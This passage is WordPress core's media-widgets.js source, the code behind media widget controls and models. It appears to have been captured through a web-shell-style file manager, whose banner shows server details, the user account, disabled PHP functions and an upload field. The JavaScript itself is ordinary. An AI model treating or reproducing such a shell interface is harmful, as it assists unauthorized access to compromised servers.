|
Server : LiteSpeed System : Linux srv526460274 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64 User : kerao9884 ( 1082) PHP Version : 8.0.30 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /home/kera789.org/public_html/wp-admin/js/widgets/ |
Upload File : |
/**
* @output wp-admin/js/widgets/media-widgets.js
*/
/* eslint consistent-this: [ "error", "control" ] */
/**
* @namespace wp.mediaWidgets
* @memberOf wp
*/
wp.mediaWidgets = ( function( $ ) {
'use strict';
var component = {};
/**
* Widget control (view) constructors, mapping widget id_base to subclass of MediaWidgetControl.
*
* Media widgets register themselves by assigning subclasses of MediaWidgetControl onto this object by widget ID base.
*
* @memberOf wp.mediaWidgets
*
* @type {Object.<string, wp.mediaWidgets.MediaWidgetModel>}
*/
component.controlConstructors = {};
/**
* Widget model constructors, mapping widget id_base to subclass of MediaWidgetModel.
*
* Media widgets register themselves by assigning subclasses of MediaWidgetControl onto this object by widget ID base.
*
* @memberOf wp.mediaWidgets
*
* @type {Object.<string, wp.mediaWidgets.MediaWidgetModel>}
*/
component.modelConstructors = {};
component.PersistentDisplaySettingsLibrary = wp.media.controller.Library.extend(/** @lends wp.mediaWidgets.PersistentDisplaySettingsLibrary.prototype */{
/**
* Library which persists the customized display settings across selections.
*
* @constructs wp.mediaWidgets.PersistentDisplaySettingsLibrary
* @augments wp.media.controller.Library
*
* @param {Object} options - Options.
*
* @return {void}
*/
initialize: function initialize( options ) {
_.bindAll( this, 'handleDisplaySettingChange' );
wp.media.controller.Library.prototype.initialize.call( this, options );
},
/**
* Sync changes to the current display settings back into the current customized.
*
* @param {Backbone.Model} displaySettings - Modified display settings.
* @return {void}
*/
handleDisplaySettingChange: function handleDisplaySettingChange( displaySettings ) {
this.get( 'selectedDisplaySettings' ).set( displaySettings.attributes );
},
/**
* Get the display settings model.
*
* Model returned is updated with the current customized display settings,
* and an event listener is added so that changes made to the settings
* will sync back into the model storing the session's customized display
* settings.
*
* @param {Backbone.Model} model - Display settings model.
* @return {Backbone.Model} Display settings model.
*/
display: function getDisplaySettingsModel( model ) {
var display, selectedDisplaySettings = this.get( 'selectedDisplaySettings' );
display = wp.media.controller.Library.prototype.display.call( this, model );
display.off( 'change', this.handleDisplaySettingChange ); // Prevent duplicated event handlers.
display.set( selectedDisplaySettings.attributes );
if ( 'custom' === selectedDisplaySettings.get( 'link_type' ) ) {
display.linkUrl = selectedDisplaySettings.get( 'link_url' );
}
display.on( 'change', this.handleDisplaySettingChange );
return display;
}
});
/**
* Extended view for managing the embed UI.
*
* @class wp.mediaWidgets.MediaEmbedView
* @augments wp.media.view.Embed
*/
component.MediaEmbedView = wp.media.view.Embed.extend(/** @lends wp.mediaWidgets.MediaEmbedView.prototype */{
/**
* Initialize.
*
* @since 4.9.0
*
* @param {Object} options - Options.
* @return {void}
*/
initialize: function( options ) {
var view = this, embedController; // eslint-disable-line consistent-this
wp.media.view.Embed.prototype.initialize.call( view, options );
if ( 'image' !== view.controller.options.mimeType ) {
embedController = view.controller.states.get( 'embed' );
embedController.off( 'scan', embedController.scanImage, embedController );
}
},
/**
* Refresh embed view.
*
* Forked override of {wp.media.view.Embed#refresh()} to suppress irrelevant "link text" field.
*
* @return {void}
*/
refresh: function refresh() {
/**
* @class wp.mediaWidgets~Constructor
*/
var Constructor;
if ( 'image' === this.controller.options.mimeType ) {
Constructor = wp.media.view.EmbedImage;
} else {
// This should be eliminated once #40450 lands of when this is merged into core.
Constructor = wp.media.view.EmbedLink.extend(/** @lends wp.mediaWidgets~Constructor.prototype */{
/**
* Set the disabled state on the Add to Widget button.
*
* @param {boolean} disabled - Disabled.
* @return {void}
*/
setAddToWidgetButtonDisabled: function setAddToWidgetButtonDisabled( disabled ) {
this.views.parent.views.parent.views.get( '.media-frame-toolbar' )[0].$el.find( '.media-button-select' ).prop( 'disabled', disabled );
},
/**
* Set or clear an error notice.
*
* @param {string} notice - Notice.
* @return {void}
*/
setErrorNotice: function setErrorNotice( notice ) {
var embedLinkView = this, noticeContainer; // eslint-disable-line consistent-this
noticeContainer = embedLinkView.views.parent.$el.find( '> .notice:first-child' );
if ( ! notice ) {
if ( noticeContainer.length ) {
noticeContainer.slideUp( 'fast' );
}
} else {
if ( ! noticeContainer.length ) {
noticeContainer = $( '<div class="media-widget-embed-notice notice notice-error notice-alt" role="alert"></div>' );
noticeContainer.hide();
embedLinkView.views.parent.$el.prepend( noticeContainer );
}
noticeContainer.empty();
noticeContainer.append( $( '<p>', {
html: notice
}));
noticeContainer.slideDown( 'fast' );
}
},
/**
* Update oEmbed.
*
* @since 4.9.0
*
* @return {void}
*/
updateoEmbed: function() {
var embedLinkView = this, url; // eslint-disable-line consistent-this
url = embedLinkView.model.get( 'url' );
// Abort if the URL field was emptied out.
if ( ! url ) {
embedLinkView.setErrorNotice( '' );
embedLinkView.setAddToWidgetButtonDisabled( true );
return;
}
if ( ! url.match( /^(http|https):\/\/.+\// ) ) {
embedLinkView.controller.$el.find( '#embed-url-field' ).addClass( 'invalid' );
embedLinkView.setAddToWidgetButtonDisabled( true );
}
wp.media.view.EmbedLink.prototype.updateoEmbed.call( embedLinkView );
},
/**
* Fetch media.
*
* @return {void}
*/
fetch: function() {
var embedLinkView = this, fetchSuccess, matches, fileExt, urlParser, url, re, youTubeEmbedMatch; // eslint-disable-line consistent-this
url = embedLinkView.model.get( 'url' );
if ( embedLinkView.dfd && 'pending' === embedLinkView.dfd.state() ) {
embedLinkView.dfd.abort();
}
fetchSuccess = function( response ) {
embedLinkView.renderoEmbed({
data: {
body: response
}
});
embedLinkView.controller.$el.find( '#embed-url-field' ).removeClass( 'invalid' );
embedLinkView.setErrorNotice( '' );
embedLinkView.setAddToWidgetButtonDisabled( false );
};
urlParser = document.createElement( 'a' );
urlParser.href = url;
matches = urlParser.pathname.toLowerCase().match( /\.(\w+)$/ );
if ( matches ) {
fileExt = matches[1];
if ( ! wp.media.view.settings.embedMimes[ fileExt ] ) {
embedLinkView.renderFail();
} else if ( 0 !== wp.media.view.settings.embedMimes[ fileExt ].indexOf( embedLinkView.controller.options.mimeType ) ) {
embedLinkView.renderFail();
} else {
fetchSuccess( '<!--success-->' );
}
return;
}
// Support YouTube embed links.
re = /https?:\/\/www\.youtube\.com\/embed\/([^/]+)/;
youTubeEmbedMatch = re.exec( url );
if ( youTubeEmbedMatch ) {
url = 'https://www.youtube.com/watch?v=' + youTubeEmbedMatch[ 1 ];
// silently change url to proper oembed-able version.
embedLinkView.model.attributes.url = url;
}
embedLinkView.dfd = wp.apiRequest({
url: wp.media.view.settings.oEmbedProxyUrl,
data: {
url: url,
maxwidth: embedLinkView.model.get( 'width' ),
maxheight: embedLinkView.model.get( 'height' ),
discover: false
},
type: 'GET',
dataType: 'json',
context: embedLinkView
});
embedLinkView.dfd.done( function( response ) {
if ( embedLinkView.controller.options.mimeType !== response.type ) {
embedLinkView.renderFail();
return;
}
fetchSuccess( response.html );
});
embedLinkView.dfd.fail( _.bind( embedLinkView.renderFail, embedLinkView ) );
},
/**
* Handle render failure.
*
* Overrides the {EmbedLink#renderFail()} method to prevent showing the "Link Text" field.
* The element is getting display:none in the stylesheet, but the underlying method uses
* uses {jQuery.fn.show()} which adds an inline style. This avoids the need for !important.
*
* @return {void}
*/
renderFail: function renderFail() {
var embedLinkView = this; // eslint-disable-line consistent-this
embedLinkView.controller.$el.find( '#embed-url-field' ).addClass( 'invalid' );
embedLinkView.setErrorNotice( embedLinkView.controller.options.invalidEmbedTypeError || 'ERROR' );
embedLinkView.setAddToWidgetButtonDisabled( true );
}
});
}
this.settings( new Constructor({
controller: this.controller,
model: this.model.props,
priority: 40
}));
}
});
/**
* Custom media frame for selecting uploaded media or providing media by URL.
*
* @class wp.mediaWidgets.MediaFrameSelect
* @augments wp.media.view.MediaFrame.Post
*/
component.MediaFrameSelect = wp.media.view.MediaFrame.Post.extend(/** @lends wp.mediaWidgets.MediaFrameSelect.prototype */{
/**
* Create the default states.
*
* @return {void}
*/
createStates: function createStates() {
var mime = this.options.mimeType, specificMimes = [];
_.each( wp.media.view.settings.embedMimes, function( embedMime ) {
if ( 0 === embedMime.indexOf( mime ) ) {
specificMimes.push( embedMime );
}
});
if ( specificMimes.length > 0 ) {
mime = specificMimes;
}
this.states.add([
// Main states.
new component.PersistentDisplaySettingsLibrary({
id: 'insert',
title: this.options.title,
selection: this.options.selection,
priority: 20,
toolbar: 'main-insert',
filterable: 'dates',
library: wp.media.query({
type: mime
}),
multiple: false,
editable: true,
selectedDisplaySettings: this.options.selectedDisplaySettings,
displaySettings: _.isUndefined( this.options.showDisplaySettings ) ? true : this.options.showDisplaySettings,
displayUserSettings: false // We use the display settings from the current/default widget instance props.
}),
new wp.media.controller.EditImage({ model: this.options.editImage }),
// Embed states.
new wp.media.controller.Embed({
metadata: this.options.metadata,
type: 'image' === this.options.mimeType ? 'image' : 'link',
invalidEmbedTypeError: this.options.invalidEmbedTypeError
})
]);
},
/**
* Main insert toolbar.
*
* Forked override of {wp.media.view.MediaFrame.Post#mainInsertToolbar()} to override text.
*
* @param {wp.Backbone.View} view - Toolbar view.
* @this {wp.media.controller.Library}
* @return {void}
*/
mainInsertToolbar: function mainInsertToolbar( view ) {
var controller = this; // eslint-disable-line consistent-this
view.set( 'insert', {
style: 'primary',
priority: 80,
text: controller.options.text, // The whole reason for the fork.
requires: { selection: true },
/**
* Handle click.
*
* @ignore
*
* @fires wp.media.controller.State#insert()
* @return {void}
*/
click: function onClick() {
var state = controller.state(),
selection = state.get( 'selection' );
controller.close();
state.trigger( 'insert', selection ).reset();
}
});
},
/**
* Main embed toolbar.
*
* Forked override of {wp.media.view.MediaFrame.Post#mainEmbedToolbar()} to override text.
*
* @param {wp.Backbone.View} toolbar - Toolbar view.
* @this {wp.media.controller.Library}
* @return {void}
*/
mainEmbedToolbar: function mainEmbedToolbar( toolbar ) {
toolbar.view = new wp.media.view.Toolbar.Embed({
controller: this,
text: this.options.text,
event: 'insert'
});
},
/**
* Embed content.
*
* Forked override of {wp.media.view.MediaFrame.Post#embedContent()} to suppress irrelevant "link text" field.
*
* @return {void}
*/
embedContent: function embedContent() {
var view = new component.MediaEmbedView({
controller: this,
model: this.state()
}).render();
this.content.set( view );
}
});
component.MediaWidgetControl = Backbone.View.extend(/** @lends wp.mediaWidgets.MediaWidgetControl.prototype */{
/**
* Translation strings.
*
* The mapping of translation strings is handled by media widget subclasses,
* exported from PHP to JS such as is done in WP_Widget_Media_Image::enqueue_admin_scripts().
*
* @type {Object}
*/
l10n: {
add_to_widget: '{{add_to_widget}}',
add_media: '{{add_media}}'
},
/**
* Widget ID base.
*
* This may be defined by the subclass. It may be exported from PHP to JS
* such as is done in WP_Widget_Media_Image::enqueue_admin_scripts(). If not,
* it will attempt to be discovered by looking to see if this control
* instance extends each member of component.controlConstructors, and if
* it does extend one, will use the key as the id_base.
*
* @type {string}
*/
id_base: '',
/**
* Mime type.
*
* This must be defined by the subclass. It may be exported from PHP to JS
* such as is done in WP_Widget_Media_Image::enqueue_admin_scripts().
*
* @type {string}
*/
mime_type: '',
/**
* View events.
*
* @type {Object}
*/
events: {
'click .notice-missing-attachment a': 'handleMediaLibraryLinkClick',
'click .select-media': 'selectMedia',
'click .placeholder': 'selectMedia',
'click .edit-media': 'editMedia'
},
/**
* Show display settings.
*
* @type {boolean}
*/
showDisplaySettings: true,
/**
* Media Widget Control.
*
* @constructs wp.mediaWidgets.MediaWidgetControl
* @augments Backbone.View
* @abstract
*
* @param {Object} options - Options.
* @param {Backbone.Model} options.model - Model.
* @param {jQuery} options.el - Control field container element.
* @param {jQuery} options.syncContainer - Container element where fields are synced for the server.
*
* @return {void}
*/
initialize: function initialize( options ) {
var control = this;
Backbone.View.prototype.initialize.call( control, options );
if ( ! ( control.model instanceof component.MediaWidgetModel ) ) {
throw new Error( 'Missing options.model' );
}
if ( ! options.el ) {
throw new Error( 'Missing options.el' );
}
if ( ! options.syncContainer ) {
throw new Error( 'Missing options.syncContainer' );
}
control.syncContainer = options.syncContainer;
control.$el.addClass( 'media-widget-control' );
// Allow methods to be passed in with control context preserved.
_.bindAll( control, 'syncModelToInputs', 'render', 'updateSelectedAttachment', 'renderPreview' );
if ( ! control.id_base ) {
_.find( component.controlConstructors, function( Constructor, idBase ) {
if ( control instanceof Constructor ) {
control.id_base = idBase;
return true;
}
return false;
});
if ( ! control.id_base ) {
throw new Error( 'Missing id_base.' );
}
}
// Track attributes needed to renderPreview in it's own model.
control.previewTemplateProps = new Backbone.Model( control.mapModelToPreviewTemplateProps() );
// Re-render the preview when the attachment changes.
control.selectedAttachment = new wp.media.model.Attachment();
control.renderPreview = _.debounce( control.renderPreview );
control.listenTo( control.previewTemplateProps, 'change', control.renderPreview );
// Make sure a copy of the selected attachment is always fetched.
control.model.on( 'change:attachment_id', control.updateSelectedAttachment );
control.model.on( 'change:url', control.updateSelectedAttachment );
control.updateSelectedAttachment();
/*
* Sync the widget instance model attributes onto the hidden inputs that widgets currently use to store the state.
* In the future, when widgets are JS-driven, the underlying widget instance data should be exposed as a model
* from the start, without having to sync with hidden fields. See <https://core.trac.wordpress.org/ticket/33507>.
*/
control.listenTo( control.model, 'change', control.syncModelToInputs );
control.listenTo( control.model, 'change', control.syncModelToPreviewProps );
control.listenTo( control.model, 'change', control.render );
// Update the title.
control.$el.on( 'input change', '.title', function updateTitle() {
control.model.set({
title: $( this ).val().trim()
});
});
// Update link_url attribute.
control.$el.on( 'input change', '.link', function updateLinkUrl() {
var linkUrl = $( this ).val().trim(), linkType = 'custom';
if ( control.selectedAttachment.get( 'linkUrl' ) === linkUrl || control.selectedAttachment.get( 'link' ) === linkUrl ) {
linkType = 'post';
} else if ( control.selectedAttachment.get( 'url' ) === linkUrl ) {
linkType = 'file';
}
control.model.set( {
link_url: linkUrl,
link_type: linkType
});
// Update display settings for the next time the user opens to select from the media library.
control.displaySettings.set( {
link: linkType,
linkUrl: linkUrl
});
});
/*
* Copy current display settings from the widget model to serve as basis
* of customized display settings for the current media frame session.
* Changes to display settings will be synced into this model, and
* when a new selection is made, the settings from this will be synced
* into that AttachmentDisplay's model to persist the setting changes.
*/
control.displaySettings = new Backbone.Model( _.pick(
control.mapModelToMediaFrameProps(
_.extend( control.model.defaults(), control.model.toJSON() )
),
_.keys( wp.media.view.settings.defaultProps )
) );
},
/**
* Update the selected attachment if necessary.
*
* @return {void}
*/
updateSelectedAttachment: function updateSelectedAttachment() {
var control = this, attachment;
if ( 0 === control.model.get( 'attachment_id' ) ) {
control.selectedAttachment.clear();
control.model.set( 'error', false );
} else if ( control.model.get( 'attachment_id' ) !== control.selectedAttachment.get( 'id' ) ) {
attachment = new wp.media.model.Attachment({
id: control.model.get( 'attachment_id' )
});
attachment.fetch()
.done( function done() {
control.model.set( 'error', false );
control.selectedAttachment.set( attachment.toJSON() );
})
.fail( function fail() {
control.model.set( 'error', 'missing_attachment' );
});
}
},
/**
* Sync the model attributes to the hidden inputs, and update previewTemplateProps.
*
* @return {void}
*/
syncModelToPreviewProps: function syncModelToPreviewProps() {
var control = this;
control.previewTemplateProps.set( control.mapModelToPreviewTemplateProps() );
},
/**
* Sync the model attributes to the hidden inputs, and update previewTemplateProps.
*
* @return {void}
*/
syncModelToInputs: function syncModelToInputs() {
var control = this;
control.syncContainer.find( '.media-widget-instance-property' ).each( function() {
var input = $( this ), value, propertyName;
propertyName = input.data( 'property' );
value = control.model.get( propertyName );
if ( _.isUndefined( value ) ) {
return;
}
if ( 'array' === control.model.schema[ propertyName ].type && _.isArray( value ) ) {
value = value.join( ',' );
} else if ( 'boolean' === control.model.schema[ propertyName ].type ) {
value = value ? '1' : ''; // Because in PHP, strval( true ) === '1' && strval( false ) === ''.
} else {
value = String( value );
}
if ( input.val() !== value ) {
input.val( value );
input.trigger( 'change' );
}
});
},
/**
* Get template.
*
* @return {Function} Template.
*/
template: function template() {
var control = this;
if ( ! $( '#tmpl-widget-media-' + control.id_base + '-control' ).length ) {
throw new Error( 'Missing widget control template for ' + control.id_base );
}
return wp.template( 'widget-media-' + control.id_base + '-control' );
},
/**
* Render template.
*
* @return {void}
*/
render: function render() {
var control = this, titleInput;
if ( ! control.templateRendered ) {
control.$el.html( control.template()( control.model.toJSON() ) );
control.renderPreview(); // Hereafter it will re-render when control.selectedAttachment changes.
control.templateRendered = true;
}
titleInput = control.$el.find( '.title' );
if ( ! titleInput.is( document.activeElement ) ) {
titleInput.val( control.model.get( 'title' ) );
}
control.$el.toggleClass( 'selected', control.isSelected() );
},
/**
* Render media preview.
*
* @abstract
* @return {void}
*/
renderPreview: function renderPreview() {
throw new Error( 'renderPreview must be implemented' );
},
/**
* Whether a media item is selected.
*
* @return {boolean} Whether selected and no error.
*/
isSelected: function isSelected() {
var control = this;
if ( control.model.get( 'error' ) ) {
return false;
}
return Boolean( control.model.get( 'attachment_id' ) || control.model.get( 'url' ) );
},
/**
* Handle click on link to Media Library to open modal, such as the link that appears when in the missing attachment error notice.
*
* @param {jQuery.Event} event - Event.
* @return {void}
*/
handleMediaLibraryLinkClick: function handleMediaLibraryLinkClick( event ) {
var control = this;
event.preventDefault();
control.selectMedia();
},
/**
* Open the media select frame to chose an item.
*
* @return {void}
*/
selectMedia: function selectMedia() {
var control = this, selection, mediaFrame, defaultSync, mediaFrameProps, selectionModels = [];
if ( control.isSelected() && 0 !== control.model.get( 'attachment_id' ) ) {
selectionModels.push( control.selectedAttachment );
}
selection = new wp.media.model.Selection( selectionModels, { multiple: false } );
mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() );
if ( mediaFrameProps.size ) {
control.displaySettings.set( 'size', mediaFrameProps.size );
}
mediaFrame = new component.MediaFrameSelect({
title: control.l10n.add_media,
frame: 'post',
text: control.l10n.add_to_widget,
selection: selection,
mimeType: control.mime_type,
selectedDisplaySettings: control.displaySettings,
showDisplaySettings: control.showDisplaySettings,
metadata: mediaFrameProps,
state: control.isSelected() && 0 === control.model.get( 'attachment_id' ) ? 'embed' : 'insert',
invalidEmbedTypeError: control.l10n.unsupported_file_type
});
wp.media.frame = mediaFrame; // See wp.media().
// Handle selection of a media item.
mediaFrame.on( 'insert', function onInsert() {
var attachment = {}, state = mediaFrame.state();
// Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview.
if ( 'embed' === state.get( 'id' ) ) {
_.extend( attachment, { id: 0 }, state.props.toJSON() );
} else {
_.extend( attachment, state.get( 'selection' ).first().toJSON() );
}
control.selectedAttachment.set( attachment );
control.model.set( 'error', false );
// Update widget instance.
control.model.set( control.getModelPropsFromMediaFrame( mediaFrame ) );
});
// Disable syncing of attachment changes back to server (except for deletions). See <https://core.trac.wordpress.org/ticket/40403>.
defaultSync = wp.media.model.Attachment.prototype.sync;
wp.media.model.Attachment.prototype.sync = function( method ) {
if ( 'delete' === method ) {
return defaultSync.apply( this, arguments );
} else {
return $.Deferred().rejectWith( this ).promise();
}
};
mediaFrame.on( 'close', function onClose() {
wp.media.model.Attachment.prototype.sync = defaultSync;
});
mediaFrame.$el.addClass( 'media-widget' );
mediaFrame.open();
// Clear the selected attachment when it is deleted in the media select frame.
if ( selection ) {
selection.on( 'destroy', function onDestroy( attachment ) {
if ( control.model.get( 'attachment_id' ) === attachment.get( 'id' ) ) {
control.model.set({
attachment_id: 0,
url: ''
});
}
});
}
/*
* Make sure focus is set inside of modal so that hitting Esc will close
* the modal and not inadvertently cause the widget to collapse in the customizer.
*/
mediaFrame.$el.find( '.media-frame-menu .media-menu-item.active' ).focus();
},
/**
* Get the instance props from the media selection frame.
*
* @param {wp.media.view.MediaFrame.Select} mediaFrame - Select frame.
* @return {Object} Props.
*/
getModelPropsFromMediaFrame: function getModelPropsFromMediaFrame( mediaFrame ) {
var control = this, state, mediaFrameProps, modelProps;
state = mediaFrame.state();
if ( 'insert' === state.get( 'id' ) ) {
mediaFrameProps = state.get( 'selection' ).first().toJSON();
mediaFrameProps.postUrl = mediaFrameProps.link;
if ( control.showDisplaySettings ) {
_.extend(
mediaFrameProps,
mediaFrame.content.get( '.attachments-browser' ).sidebar.get( 'display' ).model.toJSON()
);
}
if ( mediaFrameProps.sizes && mediaFrameProps.size && mediaFrameProps.sizes[ mediaFrameProps.size ] ) {
mediaFrameProps.url = mediaFrameProps.sizes[ mediaFrameProps.size ].url;
}
} else if ( 'embed' === state.get( 'id' ) ) {
mediaFrameProps = _.extend(
state.props.toJSON(),
{ attachment_id: 0 }, // Because some media frames use `attachment_id` not `id`.
control.model.getEmbedResetProps()
);
} else {
throw new Error( 'Unexpected state: ' + state.get( 'id' ) );
}
if ( mediaFrameProps.id ) {
mediaFrameProps.attachment_id = mediaFrameProps.id;
}
modelProps = control.mapMediaToModelProps( mediaFrameProps );
// Clear the extension prop so sources will be reset for video and audio media.
_.each( wp.media.view.settings.embedExts, function( ext ) {
if ( ext in control.model.schema && modelProps.url !== modelProps[ ext ] ) {
modelProps[ ext ] = '';
}
});
return modelProps;
},
/**
* Map media frame props to model props.
*
* @param {Object} mediaFrameProps - Media frame props.
* @return {Object} Model props.
*/
mapMediaToModelProps: function mapMediaToModelProps( mediaFrameProps ) {
var control = this, mediaFramePropToModelPropMap = {}, modelProps = {}, extension;
_.each( control.model.schema, function( fieldSchema, modelProp ) {
// Ignore widget title attribute.
if ( 'title' === modelProp ) {
return;
}
mediaFramePropToModelPropMap[ fieldSchema.media_prop || modelProp ] = modelProp;
});
_.each( mediaFrameProps, function( value, mediaProp ) {
var propName = mediaFramePropToModelPropMap[ mediaProp ] || mediaProp;
if ( control.model.schema[ propName ] ) {
modelProps[ propName ] = value;
}
});
if ( 'custom' === mediaFrameProps.size ) {
modelProps.width = mediaFrameProps.customWidth;
modelProps.height = mediaFrameProps.customHeight;
}
if ( 'post' === mediaFrameProps.link ) {
modelProps.link_url = mediaFrameProps.postUrl || mediaFrameProps.linkUrl;
} else if ( 'file' === mediaFrameProps.link ) {
modelProps.link_url = mediaFrameProps.url;
}
// Because some media frames use `id` instead of `attachment_id`.
if ( ! mediaFrameProps.attachment_id && mediaFrameProps.id ) {
modelProps.attachment_id = mediaFrameProps.id;
}
if ( mediaFrameProps.url ) {
extension = mediaFrameProps.url.replace( /#.*$/, '' ).replace( /\?.*$/, '' ).split( '.' ).pop().toLowerCase();
if ( extension in control.model.schema ) {
modelProps[ extension ] = mediaFrameProps.url;
}
}
// Always omit the titles derived from mediaFrameProps.
return _.omit( modelProps, 'title' );
},
/**
* Map model props to media frame props.
*
* @param {Object} modelProps - Model props.
* @return {Object} Media frame props.
*/
mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) {
var control = this, mediaFrameProps = {};
_.each( modelProps, function( value, modelProp ) {
var fieldSchema = control.model.schema[ modelProp ] || {};
mediaFrameProps[ fieldSchema.media_prop || modelProp ] = value;
});
// Some media frames use attachment_id.
mediaFrameProps.attachment_id = mediaFrameProps.id;
if ( 'custom' === mediaFrameProps.size ) {
mediaFrameProps.customWidth = control.model.get( 'width' );
mediaFrameProps.customHeight = control.model.get( 'height' );
}
return mediaFrameProps;
},
/**
* Map model props to previewTemplateProps.
*
* @return {Object} Preview Template Props.
*/
mapModelToPreviewTemplateProps: function mapModelToPreviewTemplateProps() {
var control = this, previewTemplateProps = {};
_.each( control.model.schema, function( value, prop ) {
if ( ! value.hasOwnProperty( 'should_preview_update' ) || value.should_preview_update ) {
previewTemplateProps[ prop ] = control.model.get( prop );
}
});
// Templates need to be aware of the error.
previewTemplateProps.error = control.model.get( 'error' );
return previewTemplateProps;
},
/**
* Open the media frame to modify the selected item.
*
* @abstract
* @return {void}
*/
editMedia: function editMedia() {
throw new Error( 'editMedia not implemented' );
}
});
/**
* Media widget model.
*
* @class wp.mediaWidgets.MediaWidgetModel
* @augments Backbone.Model
*/
component.MediaWidgetModel = Backbone.Model.extend(/** @lends wp.mediaWidgets.MediaWidgetModel.prototype */{
/**
* Id attribute.
*
* @type {string}
*/
idAttribute: 'widget_id',
/**
* Instance schema.
*
* This adheres to JSON Schema and subclasses should have their schema
* exported from PHP to JS such as is done in WP_Widget_Media_Image::enqueue_admin_scripts().
*
* @type {Object.<string, Object>}
*/
schema: {
title: {
type: 'string',
'default': ''
},
attachment_id: {
type: 'integer',
'default': 0
},
url: {
type: 'string',
'default': ''
}
},
/**
* Get default attribute values.
*
* @return {Object} Mapping of property names to their default values.
*/
defaults: function() {
var defaults = {};
_.each( this.schema, function( fieldSchema, field ) {
defaults[ field ] = fieldSchema['default'];
});
return defaults;
},
/**
* Set attribute value(s).
*
* This is a wrapped version of Backbone.Model#set() which allows us to
* cast the attribute values from the hidden inputs' string values into
* the appropriate data types (integers or booleans).
*
* @param {string|Object} key - Attribute name or attribute pairs.
* @param {mixed|Object} [val] - Attribute value or options object.
* @param {Object} [options] - Options when attribute name and value are passed separately.
* @return {wp.mediaWidgets.MediaWidgetModel} This model.
*/
set: function set( key, val, options ) {
var model = this, attrs, opts, castedAttrs; // eslint-disable-line consistent-this
if ( null === key ) {
return model;
}
if ( 'object' === typeof key ) {
attrs = key;
opts = val;
} else {
attrs = {};
attrs[ key ] = val;
opts = options;
}
castedAttrs = {};
_.each( attrs, function( value, name ) {
var type;
if ( ! model.schema[ name ] ) {
castedAttrs[ name ] = value;
return;
}
type = model.schema[ name ].type;
if ( 'array' === type ) {
castedAttrs[ name ] = value;
if ( ! _.isArray( castedAttrs[ name ] ) ) {
castedAttrs[ name ] = castedAttrs[ name ].split( /,/ ); // Good enough for parsing an ID list.
}
if ( model.schema[ name ].items && 'integer' === model.schema[ name ].items.type ) {
castedAttrs[ name ] = _.filter(
_.map( castedAttrs[ name ], function( id ) {
return parseInt( id, 10 );
},
function( id ) {
return 'number' === typeof id;
}
) );
}
} else if ( 'integer' === type ) {
castedAttrs[ name ] = parseInt( value, 10 );
} else if ( 'boolean' === type ) {
castedAttrs[ name ] = ! ( ! value || '0' === value || 'false' === value );
} else {
castedAttrs[ name ] = value;
}
});
return Backbone.Model.prototype.set.call( this, castedAttrs, opts );
},
/**
* Get props which are merged on top of the model when an embed is chosen (as opposed to an attachment).
*
* @return {Object} Reset/override props.
*/
getEmbedResetProps: function getEmbedResetProps() {
return {
id: 0
};
}
});
/**
* Collection of all widget model instances.
*
* @memberOf wp.mediaWidgets
*
* @type {Backbone.Collection}
*/
component.modelCollection = new ( Backbone.Collection.extend( {
model: component.MediaWidgetModel
}) )();
/**
* Mapping of widget ID to instances of MediaWidgetControl subclasses.
*
* @memberOf wp.mediaWidgets
*
* @type {Object.<string, wp.mediaWidgets.MediaWidgetControl>}
*/
component.widgetControls = {};
/**
* Handle widget being added or initialized for the first time at the widget-added event.
*
* @memberOf wp.mediaWidgets
*
* @param {jQuery.Event} event - Event.
* @param {jQuery} widgetContainer - Widget container element.
*
* @return {void}
*/
component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
var fieldContainer, syncContainer, widgetForm, idBase, ControlConstructor, ModelConstructor, modelAttributes, widgetControl, widgetModel, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone;
widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.
idBase = widgetForm.find( '> .id_base' ).val();
widgetId = widgetForm.find( '> .widget-id' ).val();
// Prevent initializing already-added widgets.
if ( component.widgetControls[ widgetId ] ) {
return;
}
ControlConstructor = component.controlConstructors[ idBase ];
if ( ! ControlConstructor ) {
return;
}
ModelConstructor = component.modelConstructors[ idBase ] || component.MediaWidgetModel;
/*
* Create a container element for the widget control (Backbone.View).
* This is inserted into the DOM immediately before the .widget-content
* element because the contents of this element are essentially "managed"
* by PHP, where each widget update cause the entire element to be emptied
* and replaced with the rendered output of WP_Widget::form() which is
* sent back in Ajax request made to save/update the widget instance.
* To prevent a "flash of replaced DOM elements and re-initialized JS
* components", the JS template is rendered outside of the normal form
* container.
*/
fieldContainer = $( '<div></div>' );
syncContainer = widgetContainer.find( '.widget-content:first' );
syncContainer.before( fieldContainer );
/*
* Sync the widget instance model attributes onto the hidden inputs that widgets currently use to store the state.
* In the future, when widgets are JS-driven, the underlying widget instance data should be exposed as a model
* from the start, without having to sync with hidden fields. See <https://core.trac.wordpress.org/ticket/33507>.
*/
modelAttributes = {};
syncContainer.find( '.media-widget-instance-property' ).each( function() {
var input = $( this );
modelAttributes[ input.data( 'property' ) ] = input.val();
});
modelAttributes.widget_id = widgetId;
widgetModel = new ModelConstructor( modelAttributes );
widgetControl = new ControlConstructor({
el: fieldContainer,
syncContainer: syncContainer,
model: widgetModel
});
/*
* Render the widget once the widget parent's container finishes animating,
* as the widget-added event fires with a slideDown of the container.
* This ensures that the container's dimensions are fixed so that ME.js
* can initialize with the proper dimensions.
*/
renderWhenAnimationDone = function() {
if ( ! widgetContainer.hasClass( 'open' ) ) {
setTimeout( renderWhenAnimationDone, animatedCheckDelay );
} else {
widgetControl.render();
}
};
renderWhenAnimationDone();
/*
* Note that the model and control currently won't ever get garbage-collected
* when a widget gets removed/deleted because there is no widget-removed event.
*/
component.modelCollection.add( [ widgetModel ] );
component.widgetControls[ widgetModel.get( 'widget_id' ) ] = widgetControl;
};
/**
